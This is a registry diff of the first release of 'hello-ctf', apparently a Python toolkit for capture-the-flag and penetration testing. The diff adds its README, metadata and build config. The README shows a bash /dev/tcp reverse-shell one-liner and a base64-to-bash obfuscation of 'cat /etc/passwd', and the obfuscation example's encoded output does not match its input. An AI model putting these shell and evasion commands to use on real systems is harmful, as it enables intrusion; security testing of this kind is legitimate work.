hello-ctf 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,192 @@
1
+ Metadata-Version: 2.4
2
+ Name: hello-ctf
3
+ Version: 0.0.1
4
+ Summary: A professional CTF and penetration testing toolkit
5
+ License-Expression: MIT
6
+ Requires-Dist: brotli>=1.2.0
7
+ Requires-Dist: brotlipy>=0.7.0
8
+ Requires-Dist: psutil>=7.2.2
9
+ Requires-Dist: rich>=15.0.0
10
+ Requires-Dist: xxhash>=3.7.0
11
+ Requires-Python: >=3.13
12
+ Description-Content-Type: text/markdown
13
+
14
+ # hello-ctf
15
+
16
+ A professional CTF and penetration testing toolkit written in Python.
17
+
18
+ ## Features
19
+
20
+ ### 🔥 Fuzzing & Brute-force
21
+ - **BurpAsync** - Async concurrent fuzzing framework with rich TUI
22
+ - **BurpAsyncPool** - Multi-worker parallel execution
23
+ - **WordlistLoader** - High-performance wordlist loader with O(1) random access and checkpoint support
24
+
25
+ ### 🐚 Shell & Command Execution
26
+ - **ReverseShell** / **BindShell** - TCP shell handler with 20+ built-in templates
27
+ - **RunCmd** - Non-blocking command executor with process group management
28
+ - **Obfuscator** - 18+ command obfuscation techniques (base64, hex, IFS, etc.)
29
+
30
+ ### 🌐 HTTP Tools
31
+ - **Repeater** - Raw HTTP request sender with encoding support (gzip/deflate/brotli/chunked)
32
+ - **HttpEcho** - Request logging server
33
+ - **HttpFile** - File download server
34
+
35
+ ### 🔧 Utilities
36
+ - **Local IP Detection** - Cross-platform intelligent network interface selection
37
+
38
+ ## Installation
39
+
40
+ ```bash
41
+ # Clone and install with uv
42
+ uv sync
43
+
44
+ # Or install as package
45
+ uv pip install -e .
46
+ ```
47
+
48
+ ## Quick Start
49
+
50
+ ### Fuzzing with BurpAsyncPool
51
+
52
+ ```python
53
+ import asyncio
54
+ from ctf.burp.burp import BurpAsyncPool, Step
55
+
56
+ async def main():
57
+ # Define your fuzzing steps
58
+ steps = [
59
+ Step("check_path", handler=check_path_handler),
60
+ Step("verify_sqli", handler=verify_sqli_handler),
61
+ ]
62
+
63
+ # Run with multiple workers
64
+ pool = BurpAsyncPool(
65
+ payload=wordlist_generator,
66
+ build_runtime=create_session,
67
+ build_state=create_state,
68
+ steps=steps,
69
+ workers=10,
70
+ )
71
+
72
+ results = await pool.run()
73
+ print(f"Found {len(results)} results")
74
+
75
+ asyncio.run(main())
76
+ ```
77
+
78
+ ### Wordlist Loader
79
+
80
+ ```python
81
+ from ctf.burp.wordlist import WordlistLoader
82
+
83
+ with WordlistLoader("passwords.txt", continue_=True) as wl:
84
+ for word in wl:
85
+ # Resume from checkpoint automatically
86
+ print(word)
87
+ ```
88
+
89
+ ### TCP Shell
90
+
91
+ ```python
92
+ from ctf.shell.tcp_shell import ReverseShell, gen_shell_r_cmd
93
+
94
+ # Generate reverse shell command
95
+ cmd = gen_shell_r_cmd("bash_i", "10.0.0.1", 9000)
96
+ print(cmd) # bash -i >& /dev/tcp/10.0.0.1/9000 0>&1
97
+
98
+ # Start listener
99
+ with ReverseShell(port=9000) as shell:
100
+ shell.sendline("whoami")
101
+ print(shell.output())
102
+ ```
103
+
104
+ ### Command Obfuscation
105
+
106
+ ```python
107
+ from ctf.shell.obf import apply_obf, random_obf
108
+
109
+ # Single technique
110
+ obf_cmd = apply_obf("base64", "cat /etc/passwd")
111
+ # echo d2hvYW1p | base64 -d | bash
112
+
113
+ # Multiple techniques
114
+ obf_cmd = apply_obf("cat /etc/passwd", ["base64", "bash_c_ifs1"])
115
+
116
+ # Random obfuscation
117
+ obf_cmd = random_obf("cat /etc/passwd", depth=3)
118
+ ```
119
+
120
+ ### HTTP Repeater
121
+
122
+ ```python
123
+ from ctf.http.repeater import repeater
124
+
125
+ # Simple request (string format, auto-converts to bytes)
126
+ resp = repeater(
127
+ "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
128
+ use_ssl=True,
129
+ )
130
+
131
+ print(resp.status_line())
132
+ print(resp.headers())
133
+ print(resp.body_text())
134
+
135
+ # With custom headers
136
+ req = """GET /api HTTP/1.1
137
+ Host: target.com
138
+
139
+
140
+ """
141
+ resp = repeater(
142
+ req,
143
+ use_ssl=True,
144
+ verify_ssl=False,
145
+ headers={"Authorization": "Bearer xxx", "X-Custom": "value"},
146
+ )
147
+ ```
148
+
149
+ ## Project Structure
150
+
151
+ ```
152
+ src/ctf/
153
+ ├── burp/ # Fuzzing framework
154
+ │ ├── burp.py # BurpAsync & BurpAsyncPool
155
+ │ └── wordlist.py # WordlistLoader
156
+ ├── http/ # HTTP tools
157
+ │ ├── repeater.py # HTTP client
158
+ │ └── server.py # Echo & file servers
159
+ ├── shell/ # Shell & command
160
+ │ ├── obf.py # Command obfuscation
161
+ │ ├── run_cmd.py # Command executor
162
+ │ └── tcp_shell.py# Reverse/Bind shell
163
+ └── utils/ # Utilities
164
+ ├── local_ip.py # IP detection
165
+ └── log.py # Logging
166
+ ```
167
+
168
+ ## Requirements
169
+
170
+ - Python 3.13+
171
+ - brotli >= 1.2.0
172
+ - brotlipy >= 0.7.0
173
+ - psutil >= 7.2.2
174
+ - rich >= 15.0.0
175
+ - xxhash >= 3.7.0
176
+
177
+ ## Development
178
+
179
+ ```bash
180
+ # Run tests
181
+ uv run pytest
182
+
183
+ # Type check
184
+ uv run mypy src/
185
+
186
+ # Lint
187
+ uv run ruff check src/
188
+ ```
189
+
190
+ ## License
191
+
192
+ MIT License
@@ -0,0 +1,179 @@
1
+ # hello-ctf
2
+
3
+ A professional CTF and penetration testing toolkit written in Python.
4
+
5
+ ## Features
6
+
7
+ ### 🔥 Fuzzing & Brute-force
8
+ - **BurpAsync** - Async concurrent fuzzing framework with rich TUI
9
+ - **BurpAsyncPool** - Multi-worker parallel execution
10
+ - **WordlistLoader** - High-performance wordlist loader with O(1) random access and checkpoint support
11
+
12
+ ### 🐚 Shell & Command Execution
13
+ - **ReverseShell** / **BindShell** - TCP shell handler with 20+ built-in templates
14
+ - **RunCmd** - Non-blocking command executor with process group management
15
+ - **Obfuscator** - 18+ command obfuscation techniques (base64, hex, IFS, etc.)
16
+
17
+ ### 🌐 HTTP Tools
18
+ - **Repeater** - Raw HTTP request sender with encoding support (gzip/deflate/brotli/chunked)
19
+ - **HttpEcho** - Request logging server
20
+ - **HttpFile** - File download server
21
+
22
+ ### 🔧 Utilities
23
+ - **Local IP Detection** - Cross-platform intelligent network interface selection
24
+
25
+ ## Installation
26
+
27
+ ```bash
28
+ # Clone and install with uv
29
+ uv sync
30
+
31
+ # Or install as package
32
+ uv pip install -e .
33
+ ```
34
+
35
+ ## Quick Start
36
+
37
+ ### Fuzzing with BurpAsyncPool
38
+
39
+ ```python
40
+ import asyncio
41
+ from ctf.burp.burp import BurpAsyncPool, Step
42
+
43
+ async def main():
44
+ # Define your fuzzing steps
45
+ steps = [
46
+ Step("check_path", handler=check_path_handler),
47
+ Step("verify_sqli", handler=verify_sqli_handler),
48
+ ]
49
+
50
+ # Run with multiple workers
51
+ pool = BurpAsyncPool(
52
+ payload=wordlist_generator,
53
+ build_runtime=create_session,
54
+ build_state=create_state,
55
+ steps=steps,
56
+ workers=10,
57
+ )
58
+
59
+ results = await pool.run()
60
+ print(f"Found {len(results)} results")
61
+
62
+ asyncio.run(main())
63
+ ```
64
+
65
+ ### Wordlist Loader
66
+
67
+ ```python
68
+ from ctf.burp.wordlist import WordlistLoader
69
+
70
+ with WordlistLoader("passwords.txt", continue_=True) as wl:
71
+ for word in wl:
72
+ # Resume from checkpoint automatically
73
+ print(word)
74
+ ```
75
+
76
+ ### TCP Shell
77
+
78
+ ```python
79
+ from ctf.shell.tcp_shell import ReverseShell, gen_shell_r_cmd
80
+
81
+ # Generate reverse shell command
82
+ cmd = gen_shell_r_cmd("bash_i", "10.0.0.1", 9000)
83
+ print(cmd) # bash -i >& /dev/tcp/10.0.0.1/9000 0>&1
84
+
85
+ # Start listener
86
+ with ReverseShell(port=9000) as shell:
87
+ shell.sendline("whoami")
88
+ print(shell.output())
89
+ ```
90
+
91
+ ### Command Obfuscation
92
+
93
+ ```python
94
+ from ctf.shell.obf import apply_obf, random_obf
95
+
96
+ # Single technique
97
+ obf_cmd = apply_obf("base64", "cat /etc/passwd")
98
+ # echo d2hvYW1p | base64 -d | bash
99
+
100
+ # Multiple techniques
101
+ obf_cmd = apply_obf("cat /etc/passwd", ["base64", "bash_c_ifs1"])
102
+
103
+ # Random obfuscation
104
+ obf_cmd = random_obf("cat /etc/passwd", depth=3)
105
+ ```
106
+
107
+ ### HTTP Repeater
108
+
109
+ ```python
110
+ from ctf.http.repeater import repeater
111
+
112
+ # Simple request (string format, auto-converts to bytes)
113
+ resp = repeater(
114
+ "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
115
+ use_ssl=True,
116
+ )
117
+
118
+ print(resp.status_line())
119
+ print(resp.headers())
120
+ print(resp.body_text())
121
+
122
+ # With custom headers
123
+ req = """GET /api HTTP/1.1
124
+ Host: target.com
125
+
126
+
127
+ """
128
+ resp = repeater(
129
+ req,
130
+ use_ssl=True,
131
+ verify_ssl=False,
132
+ headers={"Authorization": "Bearer xxx", "X-Custom": "value"},
133
+ )
134
+ ```
135
+
136
+ ## Project Structure
137
+
138
+ ```
139
+ src/ctf/
140
+ ├── burp/ # Fuzzing framework
141
+ │ ├── burp.py # BurpAsync & BurpAsyncPool
142
+ │ └── wordlist.py # WordlistLoader
143
+ ├── http/ # HTTP tools
144
+ │ ├── repeater.py # HTTP client
145
+ │ └── server.py # Echo & file servers
146
+ ├── shell/ # Shell & command
147
+ │ ├── obf.py # Command obfuscation
148
+ │ ├── run_cmd.py # Command executor
149
+ │ └── tcp_shell.py# Reverse/Bind shell
150
+ └── utils/ # Utilities
151
+ ├── local_ip.py # IP detection
152
+ └── log.py # Logging
153
+ ```
154
+
155
+ ## Requirements
156
+
157
+ - Python 3.13+
158
+ - brotli >= 1.2.0
159
+ - brotlipy >= 0.7.0
160
+ - psutil >= 7.2.2
161
+ - rich >= 15.0.0
162
+ - xxhash >= 3.7.0
163
+
164
+ ## Development
165
+
166
+ ```bash
167
+ # Run tests
168
+ uv run pytest
169
+
170
+ # Type check
171
+ uv run mypy src/
172
+
173
+ # Lint
174
+ uv run ruff check src/
175
+ ```
176
+
177
+ ## License
178
+
179
+ MIT License
@@ -0,0 +1,31 @@
1
+ [project]
2
+ name = "hello-ctf"
3
+ version = "0.0.1"
4
+ description = "A professional CTF and penetration testing toolkit"
5
+ readme = "README.md"
6
+ license = "MIT"
7
+ requires-python = ">=3.13"
8
+ dependencies = [
9
+ "brotli>=1.2.0",
10
+ "brotlipy>=0.7.0",
11
+ "psutil>=7.2.2",
12
+ "rich>=15.0.0",
13
+ "xxhash>=3.7.0",
14
+ ]
15
+
16
+ [tool.uv.build-backend]
17
+ module-name = "ctf"
18
+
19
+ [project.scripts]
20
+ ctf = "ctf:main"
21
+
22
+ [build-system]
23
+ requires = ["uv_build>=0.11.8,<0.12.0"]
24
+ build-backend = "uv_build"
25
+
26
+ [dependency-groups]
27
+ dev = [
28
+ "mypy>=2.1.0",
29
+ "pytest>=9.0.3",
30
+ "ruff>=0.15.14",
31
+ ]
@@ -0,0 +1,26 @@
1
+ from ctf.http.repeater import repeater, build_multipart_form
2
+ from ctf.http.server import HttpFile,HttpEcho,EchoRequest
3
+ from ctf.utils.local_ip import get_ip as get_local_ip
4
+ from ctf.utils.log import debug_log, set_debug, set_no_debug
5
+ from ctf.utils.match import match_flag, match_flags
6
+ from ctf.shell.run_cmd import run_cmd, RunCmd, CommandResult
7
+ from ctf.shell.tcp_shell import ReverseShell, BindShell
8
+ from ctf.burp.wordlist import WordlistLoader, PayloadLoader
9
+ from ctf.burp.burp import Step,StepAction,BurpAsync,BurpAsyncPool
10
+
11
+
12
+
13
+
14
+
15
+
16
+
17
+
18
+
19
+
20
+
21
+
22
+
23
+
24
+
25
+ def main() -> None:
26
+ print("Hello from hello-ctf!")